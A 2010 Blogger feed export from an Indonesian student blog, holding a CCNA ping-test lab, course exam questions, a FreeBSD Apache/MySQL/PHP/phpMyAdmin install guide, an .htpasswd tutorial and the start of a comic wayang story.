round-trip min/avg/max = 0/12/16 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;7. Memeriksa koneksitas ke interface fastethernet0/0&lt;br /&gt;Router#ping 172.16.0.126&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte icmp echos to 172.16.0.126, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 0/12/16 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;8. Memeriksa koneksitas ke ip address 192.168.11.1&lt;br /&gt;Router#ping 192.168.11.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte icmp echos to 192.168.11.1, timeout is 2 seconds:&lt;br /&gt;.!!!!&lt;br /&gt;Success rate is 80 percent (4/5), round-trip min/avg/max = 48/48/48 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;9. Memeriksa koneksitas ke ip address 172.16.0.1&lt;br /&gt;Router#ping 172.16.0.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte icmp echos to 172.16.0.1, timeout is 2 seconds:&lt;br /&gt;.!!!!&lt;br /&gt;Success rate is 80 percent (4/5), round-trip min/avg/max = 47/47/48 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;10. Cek koneksi dari pc0 ke pc3&lt;br /&gt;Pc&gt;ping 192.168.11.2&lt;br /&gt;&lt;br /&gt;Pinging 192.168.11.2 with 32 bytes of data:&lt;br /&gt;&lt;br /&gt;Reply from 192.168.11.2: bytes=32 time=79ms ttl=127&lt;br /&gt;Reply from 192.168.11.2: bytes=32 time=78ms ttl=127&lt;br /&gt;Reply from 192.168.11.2: bytes=32 time=78ms ttl=127&lt;br /&gt;Reply from 192.168.11.2: bytes=32 time=79ms ttl=127&lt;br /&gt;&lt;br /&gt;Ping statistics for 192.168.11.2:&lt;br /&gt;    packets: sent = 4, received = 4, lost = 0 (0% loss),&lt;br /&gt;Approximate round trip times in milli-seconds:&lt;br /&gt;    minimum = 78ms, maximum = 79ms, average = 78ms&lt;br /&gt;11. Cek koneksi dari pc3 ke pc0&lt;br /&gt;Packet tracer pc command line 1.0&lt;br /&gt;Pc&gt;ping 172.16.0.1&lt;br /&gt;&lt;br /&gt;Pinging 172.16.0.1 with 32 bytes of data:&lt;br /&gt;&lt;br /&gt;Reply from 172.16.0.1: bytes=32 time=79ms ttl=127&lt;br /&gt;Reply from 172.16.0.1: bytes=32 time=80ms ttl=127&lt;br /&gt;Reply from 172.16.0.1: bytes=32 time=79ms ttl=127&lt;br /&gt;Reply from 172.16.0.1: bytes=32 time=79ms ttl=127&lt;br /&gt;&lt;br /&gt;Ping statistics for 172.16.0.1:&lt;br /&gt;    packets: sent = 4, received = 4, lost = 0 (0% loss),&lt;br /&gt;Approximate round trip times in milli-seconds:&lt;br /&gt;    minimum = 79ms, maximum = 80ms, average = 79ms&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-6968464001278798646?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6968464001278798646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6968464001278798646'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/05/latihan-praktikum-ccna-2.html' title='LATIHAN Praktikum CCNA 2'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_uk6ho0aKuDg/S_GzAOpgwzI/AAAAAAAAAOc/1gOv8bycxNU/s72-c/ccna1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-4016874004955920116</id><published>2010-05-17T14:12:00.000-07:00</published><updated>2010-05-17T14:16:20.118-07:00</updated><title type='text'>Soal Ujian Sistem Informasi</title><content type='html'>Mata Kuliah : Komputer dan Masyarakat&lt;br /&gt;ProgDi : S1 – Sistem Informasi&lt;br /&gt;Bobot : 2 SKS&lt;br /&gt;Kelas : B (Malam)&lt;br /&gt;&lt;br /&gt;Pilihan Ganda ! (pilih salah satu jawaban yang benar)&lt;br /&gt;1. Di bawah ini bidang studi yang harus dikuasai dalam membuat interface /antarmuka, kecuali :&lt;br /&gt;a. Elecktronika c. Sosiologi&lt;br /&gt;b. Ergonomic d. Argonomik&lt;br /&gt;2. Sistem penjendelaan dimana lebar layer dibagi-bagi menjadi beberapa jendela dengan ukuran yang bervariasi, dan jenis jendelanya dapat ditentukan berdasarkan ketergantungan antara satujendela dengan jendela lain, merupakan definisi dari system penjendelaan……&lt;br /&gt;a. Jendela TTY c. Jendela TTM&lt;br /&gt;b. Time-multiplexed windows d. space-multiplexed windows.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;untuk download soal klik link di bawah ini :&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/9903383/UASSI2010.doc.html"&gt;Soal Ujian&lt;/a&gt;&lt;br /&gt;download aplikasi :&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/9812123/BRI.rar.html"&gt;http://www.ziddu.com/download/9812123/BRI.rar.html&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-4016874004955920116?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4016874004955920116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4016874004955920116'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/05/soal-ujian-sistem-informasi.html' title='Soal Ujian Sistem Informasi'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-2594337505495844026</id><published>2010-05-10T21:58:00.000-07:00</published><updated>2010-05-10T22:08:50.370-07:00</updated><title type='text'>Ujian Mandiri STMIK Duta Bangsa</title><content type='html'>Mata Kuliah : Komputer dan Masyarakat &lt;br /&gt;ProgDi : S1 – Tehnik Informasi &lt;br /&gt;Bobot : 2 SKS &lt;br /&gt;Kelas : B (Malam)&lt;br /&gt;             &lt;br /&gt;Pilihan Ganda ! (pilih salah satu jawaban yang benar)&lt;br /&gt;1. Di bawah ini bidang studi yang harus dikuasai dalam membuat interface /antarmuka, kecuali :&lt;br /&gt;a. Elecktronika     c. Sosiologi&lt;br /&gt;b. Ergonomic     d. Argonomik&lt;br /&gt;2. Sistem penjendelaan dimana lebar layer dibagi-bagi menjadi beberapa jendela dengan ukuran yang bervariasi, dan jenis jendelanya dapat ditentukan berdasarkan ketergantungan antara satujendela dengan jendela lain, merupakan definisi dari system penjendelaan……&lt;br /&gt;a. Jendela TTY      c. Jendela TTM   &lt;br /&gt;b. Time-multiplexed windows    d. space-multiplexed windows.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;untuk download soal klik link di bawah ini :&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/9812159/UAS2008.doc.html"&gt;http://www.ziddu.com/download/9812159/UAS2008.doc.html&lt;/a&gt;&lt;br /&gt;download aplikasi :&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/9812123/BRI.rar.html"&gt;http://www.ziddu.com/download/9812123/BRI.rar.html&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-2594337505495844026?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/2594337505495844026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/2594337505495844026'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/05/ujian-mandiri-stmik-duta-bangsa.html' title='Ujian Mandiri STMIK Duta Bangsa'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-3711476977763721488</id><published>2010-05-06T03:28:00.000-07:00</published><updated>2010-05-06T04:14:53.445-07:00</updated><title type='text'>Tugas Mandiri S1-Sistem Informasi</title><content type='html'>Jawaban Ditulis Tangan, dikumpulkan pada tanggal 10 Mei 2010&lt;br /&gt;Pilihan Ganda ! (pilih salah satu jawaban yang benar)&lt;br /&gt;1. Di bawah ini bidang studi yang harus dikuasai dalam membuat interface /antarmuka, kecuali :&lt;br /&gt;A. Elecktronika     B. Sosiologi&lt;br /&gt;C. Ergonomic     D. Argonomik&lt;br /&gt;2. Kriteria yang harus dimiliki antarmuka untuk mendapatkan predikat user friendly adalah :&lt;br /&gt;A. Antarmuka Yang Bagus   B. Mudah Dioperasikan&lt;br /&gt;C. Mudah Dipelajari    D. Jawaban A,B,C Benar&lt;br /&gt;3. Komponen – komponen dasar berdirinya sistem komputer terdiri dari :&lt;br /&gt;A. Hardware     B. Brainware&lt;br /&gt;C. Prosesor     D. Jawaban A Dan B Betul&lt;br /&gt;4. Di bawah ini adalah macam – macam ragam dialog, kecuali :&lt;br /&gt;A. Berbasis Teks     B. Berbasis Perintah Tunggal&lt;br /&gt;C. Berbasis Bahasa Alami    D. Berbasis Menu&lt;br /&gt;5. Berikut ini sifat penting yang harus dimiliki setiap ragam dialog, kecuali :&lt;br /&gt;A. Kompleksitas     B. Keluwesan&lt;br /&gt;B. Kestabilan     D. Konsistensi&lt;br /&gt;6. Kemampuan untuk merespon (berinteraksi) di mana pengguna dituntut untuk lebih memahami cara pengoperasian komputer adalah bentuk sifat :&lt;br /&gt;A. Inisiasi      B. Inisiatif Pengguna&lt;br /&gt;C. Inisiatif Komputer    D. Efisiensi&lt;br /&gt;7. Kemampuan suatu dialog dalam menerima berbagai macam perintah meski sebenarnya memiliki tujuan sama adalah bentuk sifat :&lt;br /&gt;A. Kompleksitas     B. Keluwesan&lt;br /&gt;B. Kekuatan     D. Konsistensi&lt;br /&gt;8. Dalam membuat sarana komunikasi antara komputer dengan user, harus disediakan kemampuan yang cukup baik dan lengkap guna mengantisipasi perkembangan kebutuhan disebut sifat :&lt;br /&gt;A. Kompleksitas     B. Keluwesan&lt;br /&gt;B. Kekuatan     D. Konsistensi&lt;br /&gt;9. Ketika berinteraksi dengan sistem, pengguna harus memasukan perintah – perintah sederhana dalam bentuk satu baris yang diketik manual merupakan ragam dialog :&lt;br /&gt;A. Berbasis Teks     B. Berbasis Perintah Tunggal&lt;br /&gt;B. Bahasa Alami     D. Grafis&lt;br /&gt;10. Suatu ragam dialog yang menyediakan sejumlah pilihan dalam bentuk kalimat dengan jumlah terbatas di mana pilihan disediakan dalam bentuk selector berupa numeric atau alpabhet, merupakan bentuk ragam dialog :&lt;br /&gt;A. Menu Datar     B. Menu Tarik&lt;br /&gt;B. Menu Datar Berbasis Selector Pilihan  D. Highlight Marker&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Soal Essai !!&lt;br /&gt;1. Menurut anda, bagaimanakah hubungan antara komputer dan masyarakat !!!&lt;br /&gt;2. Sebutkan ciri - ciri interface yang baik !&lt;br /&gt;3. Apa saja yang harus diperhatikan dalam membuat Interface !&lt;br /&gt;4. Sebutkan dan jelaskan macam - macam ragam dialog !&lt;br /&gt;5. Sebutkan jenis sifat manusia berdasarkan kadar zat cairnya??&lt;br /&gt;6. Sebutkan jenis sifat manusia berdasarkan intelegensinya??&lt;br /&gt;7. Jelaskan karakteristik dari kompiler Microsoft Visual Basic dan Delphi ??&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-3711476977763721488?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3711476977763721488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3711476977763721488'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/05/tugas-mandiri-s1-sistem-informasi.html' title='Tugas Mandiri S1-Sistem Informasi'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7507304665320085914</id><published>2010-04-05T21:15:00.000-07:00</published><updated>2010-05-11T14:03:37.300-07:00</updated><title type='text'>Instal Apache/MySQL/PHP di FreeBSD</title><content type='html'>Introduction:&lt;br /&gt;&lt;br /&gt;This article describes how to setup Apache, MySQL, PHP and phpMyAdmin on a server running FreeBSD. The article was written for the software versions below but is likely to work on newer versions without too much difficulty. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;#&lt;br /&gt;Software:&lt;br /&gt;&lt;br /&gt;Operating System: FreeBSD 7.0 for i386 Download&lt;br /&gt;Apache: 2.2.8 Installed from Ports Collection&lt;br /&gt;MySQL Server: 5.0.51a Installed from Ports Collection&lt;br /&gt;PHP &amp; Extensions: 5.2.5 Installed from Ports Collection&lt;br /&gt;phpMyAdmin: 2.11.5 Installed from Ports Collection&lt;br /&gt;#&lt;br /&gt;Before you begin:&lt;br /&gt;&lt;br /&gt;   1. This article assumes you have a working install of FreeBSD 6.2 for i386 logged in as root (or another user in the wheel group and you have used "su") with the ports collection installed. You can use sysinstall, cvsup or portsnap to install the ports distribution if you have not already done so. See point 2 below.&lt;br /&gt;   2. Update your ports collection (portsnap fetch, portsnap extract.) (See the FreeBSD Handbook Section 4.5.1)&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;Installing MySQL:&lt;br /&gt;&lt;br /&gt;   1. Go to the mysql50-server port directory by typing the command:&lt;br /&gt;&lt;br /&gt;      cd /usr/ports/databases/mysql50-server&lt;br /&gt;&lt;br /&gt;   2. Build the port by typing: (This takes AGES - good time for some food.)&lt;br /&gt;&lt;br /&gt;      make BUILD_OPTIMIZED=yes BUILD_STATIC=yes&lt;br /&gt;&lt;br /&gt;   3. Install by typing:&lt;br /&gt;&lt;br /&gt;      make install clean&lt;br /&gt;&lt;br /&gt;   4. Open /etc/rc.conf with your favourite text editor and add the line shown below. This will ensure mysql is enabled and starts on boot.&lt;br /&gt;&lt;br /&gt;      mysql_enable="YES"&lt;br /&gt;&lt;br /&gt;   5. Start mysql manually to avoid having to reboot now by typing:&lt;br /&gt;&lt;br /&gt;      /usr/local/etc/rc.d/mysql-server start&lt;br /&gt;&lt;br /&gt;   6. Set a password for the MySQL root user by executing the command, subtituting your own password in place of new-password:&lt;br /&gt;&lt;br /&gt;      /usr/local/bin/mysqladmin -uroot password 'new-password'&lt;br /&gt;&lt;br /&gt;      And you're done! MySQL is installed.&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;Installing Apache&lt;br /&gt;&lt;br /&gt;   1. Go to the apache22 port directory by typing the command:&lt;br /&gt;&lt;br /&gt;      cd /usr/ports/www/apache22&lt;br /&gt;&lt;br /&gt;   2. Build and install the port by typing: (This takes a while, coffee time!)&lt;br /&gt;&lt;br /&gt;      make install clean &lt;br /&gt;&lt;br /&gt;      Note: You may want to disable the two DAV options if you don't need them when prompted&lt;br /&gt;&lt;br /&gt;   3. Open /etc/rc.conf with your favourite text editor and add the line shown below. This will ensure apache is enabled and starts on boot.&lt;br /&gt;&lt;br /&gt;      apache22_enable="YES"&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;Installing PHP&lt;br /&gt;&lt;br /&gt;   1. Go to the php5 port directory by typing the command:&lt;br /&gt;&lt;br /&gt;      cd /usr/ports/lang/php5&lt;br /&gt;&lt;br /&gt;   2. Build and install the port by typing: (Just accept the default options, this takes a while, more coffee.)&lt;br /&gt;&lt;br /&gt;      make install clean&lt;br /&gt;&lt;br /&gt;      Make sure the APACHE (Build Apache module) option is ticked when configuring the build, leaving all other options as default, before selecting OK.&lt;br /&gt;&lt;br /&gt;   3. Go to the php5-extentions meta port directory by typing the command:&lt;br /&gt;&lt;br /&gt;      cd /usr/ports/lang/php5-extentions&lt;br /&gt;&lt;br /&gt;   4. Build and install the port by typing: (Just accept the defaults here, phpMyAdmin will install any other extensions required itself)&lt;br /&gt;&lt;br /&gt;      make install clean&lt;br /&gt;&lt;br /&gt;   5. Install the php.ini file:&lt;br /&gt;&lt;br /&gt;      cp /usr/local/etc/php.ini-dist /usr/local/etc/php.ini&lt;br /&gt;&lt;br /&gt;   6. Edit your Apache configuration file (/usr/local/etc/apache22/httpd.conf) and add the following lines to the end of the file:&lt;br /&gt;&lt;br /&gt;      AddType application/x-httpd-php .php&lt;br /&gt;      AddType application/x-httpd-php-source .phps&lt;br /&gt;&lt;br /&gt;      Note: You can add additional extenions other than .php (eg .phtml) seperated by spaces.&lt;br /&gt;      Note: The second line is optional, it will show colour highlighted PHP source for .phps files.&lt;br /&gt;&lt;br /&gt;   7. You should also search for the line that reads:&lt;br /&gt;&lt;br /&gt;      DirectoryIndex index.html&lt;br /&gt;&lt;br /&gt;      and change it to read:&lt;br /&gt;&lt;br /&gt;      DirectoryIndex index.php index.html&lt;br /&gt;&lt;br /&gt;      Note: You may also add index.phtml or any other default page if you added additional extentions in the previous step.&lt;br /&gt;&lt;br /&gt;   8. Enable language settings by searching for the line:&lt;br /&gt;&lt;br /&gt;      #Include etc/apache22/extra/httpd-languages.conf&lt;br /&gt;&lt;br /&gt;      and removing the # comment mark so it reads:&lt;br /&gt;&lt;br /&gt;      Include etc/apache22/extra/httpd-languages.conf&lt;br /&gt;&lt;br /&gt;   9. Edit the language settings file (/usr/local/etc/apache22/extra/httpd-languages.conf) and add the following line at the end of the file:&lt;br /&gt;&lt;br /&gt;      AddDefaultCharset On&lt;br /&gt;&lt;br /&gt;  10. Start Apache using the startup script:&lt;br /&gt;&lt;br /&gt;      /usr/local/etc/rc.d/apache22 start&lt;br /&gt;&lt;br /&gt;      And you're done! Apache with PHP is installed.&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;Installing phpMyAdmin&lt;br /&gt;&lt;br /&gt;   1. Got to the phpmyadmin port directory by typing the command:&lt;br /&gt;&lt;br /&gt;      cd /usr/ports/databases/phpmyadmin&lt;br /&gt;&lt;br /&gt;   2. Build and install the port by typing: (Just accept the default options)&lt;br /&gt;&lt;br /&gt;      make install clean&lt;br /&gt;&lt;br /&gt;   3. phpMyAdmin is now installed in /usr/local/www/phpMyAdmin. To use it we need to create Alias and Directory entries in /usr/local/etc/apache22/httpd.conf. To do this, add the following lines to the &lt;IfModule alias_module&gt; section (just search for where all the other Alias commands are.)&lt;br /&gt;&lt;br /&gt;      Alias /phpmyadmin /usr/local/www/phpMyAdmin&lt;br /&gt;&lt;br /&gt;   4. As /usr/local/www/phpMyadmin is outside of the Apache &lt;DocumentRoot&gt; you will have to make a &lt;Directory&gt; entry for it too. Add the following lines to the end of the &lt;Directory&gt; section: (just search for &lt;/Directory&gt;)&lt;br /&gt;&lt;br /&gt;      &lt;Directory "/usr/local/www/phpMyAdmin"&gt;&lt;br /&gt;              Order allow,deny&lt;br /&gt;              Allow from all&lt;br /&gt;      &lt;/Directory&gt;&lt;br /&gt;&lt;br /&gt;      Note:You may prefer to put the Alias entry inside a &lt;VirtualHost&gt; entry if you are hosting multiple sites using name based virtual hosting and do not wish to enable phpMyAdmin on all the sites.&lt;br /&gt;&lt;br /&gt;   5. Create a config directory for phpMyAdmin and make it globally read/write/executable by typing the commands:&lt;br /&gt;&lt;br /&gt;      cd /usr/local/www/phpMyAdmin&lt;br /&gt;      mkdir config&lt;br /&gt;      chmod 777 config&lt;br /&gt;&lt;br /&gt;   6. Restart Apache so that the Alias and Directory entries take effect by typing:&lt;br /&gt;&lt;br /&gt;      /usr/local/etc/rc.d/apache22 restart&lt;br /&gt;&lt;br /&gt;   7. Configure phpMyAdmin by going to http://hostname/phpmyadmin/scripts/setup.php in your browser and set at least the following:&lt;br /&gt;          * Add Server&lt;br /&gt;                o Change the "Authentication type" dropdown to http to have phpMyAdmin prompt you for a username and password.&lt;br /&gt;                o Delete root from the "User for config" auth textbox so it is blank.&lt;br /&gt;                o You can leave all other settings as they are (even if they are blank.)&lt;br /&gt;                o Click the "Add" button to add the new server&lt;br /&gt;      Save the configuration using the Save button in the Configuration section.&lt;br /&gt;&lt;br /&gt;   8. For the changes to take effect you must copy the generated config file from the phpMyAdmin/config directory to the phpMyAdmin directory by typing the following command: (Note the space dot at the end of the command)&lt;br /&gt;&lt;br /&gt;      cp config/config.inc.php .&lt;br /&gt;&lt;br /&gt;   9. You can now delete the config directory you created earlier and reset the permissions on the config.inc.php file to read only typing the commands:&lt;br /&gt;&lt;br /&gt;      rm -rf config&lt;br /&gt;      chmod 444 config.inc.php&lt;br /&gt;&lt;br /&gt;  10. That's it! You can place your web site in /usr/local/www/data/ and access phpMyAdmin at http://hostname/phpmyadmin/ in your web browser and logging in using username root and the MySQL password you set earlier.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7507304665320085914?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7507304665320085914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7507304665320085914'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/04/apachemysqlphpphpmyadmin-on-freebsd.html' title='Instal Apache/MySQL/PHP di FreeBSD'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-3109477387492313569</id><published>2010-04-02T20:01:00.000-07:00</published><updated>2010-04-02T20:02:07.001-07:00</updated><title type='text'>Menggunakan .htpasswd dan .htaccess pada Apache</title><content type='html'>.htpasswd digunakan untuk proteksi akses web , kecuali oleh user tertentu. User tersebut akan dimintai user name dan password apabila mengakses halaman web tersebut. Berikut langkah - langkah menggunakan .htpasswd pada Apache :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;1. membuat file user dan password nya&lt;br /&gt;&lt;br /&gt;berikut adalah membuat file user dan password dengan nama file “user” .&lt;br /&gt;&lt;br /&gt;root@bsd /usr/local/apache/bin &gt; ./htpasswd -c /home/tahupecel/users/user wus&lt;br /&gt;New password:&lt;br /&gt;Re-type new password:&lt;br /&gt;Adding password for user wus&lt;br /&gt;&lt;br /&gt;Untuk menambahkan user yang lain ( tidak perlu menggunakan option -c ), apabila option -c digunakan maka file .htaccess akan overwritten .&lt;br /&gt;&lt;br /&gt;root@bsd /usr/local/apache/bin &gt; ./htpasswd /home/tahupecel/users/user ipin&lt;br /&gt;New password:&lt;br /&gt;Re-type new password:&lt;br /&gt;Adding password for user ipin&lt;br /&gt;&lt;br /&gt;2. membuat file .htaccess&lt;br /&gt;&lt;br /&gt;misalkan kita akan proteksi akses yang ada pada folder /home/tahupecel , maka kita buat file .htaccess dalam folder tersebut. Yang berisi :&lt;br /&gt;&lt;br /&gt;AuthName “Kamu harus masukkan password untuk akses halaman ini !!”&lt;br /&gt;AuthType Basic&lt;br /&gt;AuthUserFile /home/tahupecel/users/user&lt;br /&gt;require valid-user&lt;br /&gt;&lt;br /&gt;Bila pingin merubah satu user saja yg bisa akses, ganti bagian ini (contoh hanya untuk user wus) :&lt;br /&gt;&lt;br /&gt;require user wus&lt;br /&gt;&lt;br /&gt;3. Edit file httpd.conf pada bagian berikut ini :        AllowOverride AuthConfig&lt;br /&gt;………………..&lt;br /&gt;AccessFileName .htaccess&lt;br /&gt;………………..&lt;br /&gt;&lt;br /&gt;Order allow,deny&lt;br /&gt;Deny from all&lt;br /&gt;&lt;br /&gt;……………….&lt;br /&gt;&lt;br /&gt;4. Restart Apache&lt;br /&gt;&lt;br /&gt;       root@bsd ~ &gt; /usr/local/apache/bin/apachectl restart&lt;br /&gt;/usr/local/apache/bin/apachectl restart: httpd restarted&lt;br /&gt;root@bsd ~ &gt; &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-3109477387492313569?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3109477387492313569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3109477387492313569'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/04/menggunakan-htpasswd-dan-htaccess-pada.html' title='Menggunakan .htpasswd dan .htaccess pada Apache'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5327337185879772273</id><published>2010-03-19T22:57:00.001-07:00</published><updated>2010-03-19T22:57:50.105-07:00</updated><title type='text'>GARENG, PETRUK DAN BAGONG BERUBAH PENAMPILAN....</title><content type='html'>Dalam dunia pewayangan kita ketahui, bahwa Gareng , Petruk dan Bagong pada awalnya adalah manusia pada umumnya yg mempunyai bentuk badan proposional, pendidikan sarjana, wajah tampan memikat, dandanan oke perlente... berbaju mahal dan wangi… pokoke modis lah...&lt;br /&gt;&lt;br /&gt;Alkisah : ketiga pemuda yg selalu berpenampilan keren ini...berniat mencari guru sejati, karena menurut mereka utk urusan duniawi... mereka sudah merasa tidak ada kekurangan lagi ; kaya, pinter, ganteng, tajir, dan yang pasti dikejar-kejar banyak cewek matre... (kalau cewek baek-baek pasti tdk akan mau, para cewek sudah sangat mengenal bahwa Gareng, Petruk dan Bagong adalah tipe Cowok Playboy kelas berat...) Dengan niat baja, berangkatlah ketiganya menuju sebuah desa yg bernama Karangedempel… tempat Ki Lurah Semar mendirikan padepokannya.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Ki Lurah Semar “Ngerti sakdurunge winarah” mempunyai ilmu kanuragan, joyokawijayan, ilmu menghilang, ilmu penakhluk bangsa gaib, termasuk ilmu ‘pelet semar mesem’ ya dari sini.... intinya semua ilmu bisa didapat dipadepokan ini, tanpa harus membayar mahar dengan uang… maharnya … cuma ditebus dengan “ Laku “ !&lt;br /&gt;&lt;br /&gt;Ki Lurah Semar sudah tahu, ia akan kedatangan para pemuda yg serba “Ke” ( Keminter, Kebanyakan Duit, Ke’bagusan’, Kemrocil, Kecemrewet…dan Kehausan ). Salam tabik Ki Lurah… kami datang kesini dengan maksud dan tujuan : pertama-tama minta minum dulu… karena kami kehausan, ke dua… stop..stop… aku sdh tahu apa yg kalian cari ditempat ini (kata Ki Lurah), Ilmu sejati memang ada ditempatku… itu kan yg kamu cari… ? Betul Ki… siapa tahu, kita bisa barter dng uangku kata Petruk sedikit sombong ! Inggih Leres Mbah Lurah… nggih niku sing tak Goleki sampai di perairan Miami sewaktu kula liburan keluar Negeri… Gareng menyahuti dgn tdk kalah Gaya, trus Bagong kenapa diam aja…? Ooh ternyata dia ngantuk..! dasar… keseringan begadang… dugem dipasar malem! (maklum…zaman dulu belum ada Mall, diskotik dsb…) wong mau ketemu suhu koq ya masih sempat-sempatnya dugem… (biasa… anak gaul zaman pewayangan… sama aja spt jaman skrg…) Yo wis… aku sudah mengerti tujuan kalian datang ke padepokanku… Untuk mempelajari ilmu sejati… kalian hrs siap lahir-batin… Lahir artinya badan fisikmu harus sehat, kalau sedang sakit jgn belajar dulu… lebih baik ke dokter atau dibawa ke rmh sakit… (aah… kalo itu aku juga tahu… bisik-bisik Petruk kpd Bagong…, Bagong ngangguk… tapi sebenarnya bukan krn meng.iya.kan…, lebih krn Ngantuk : 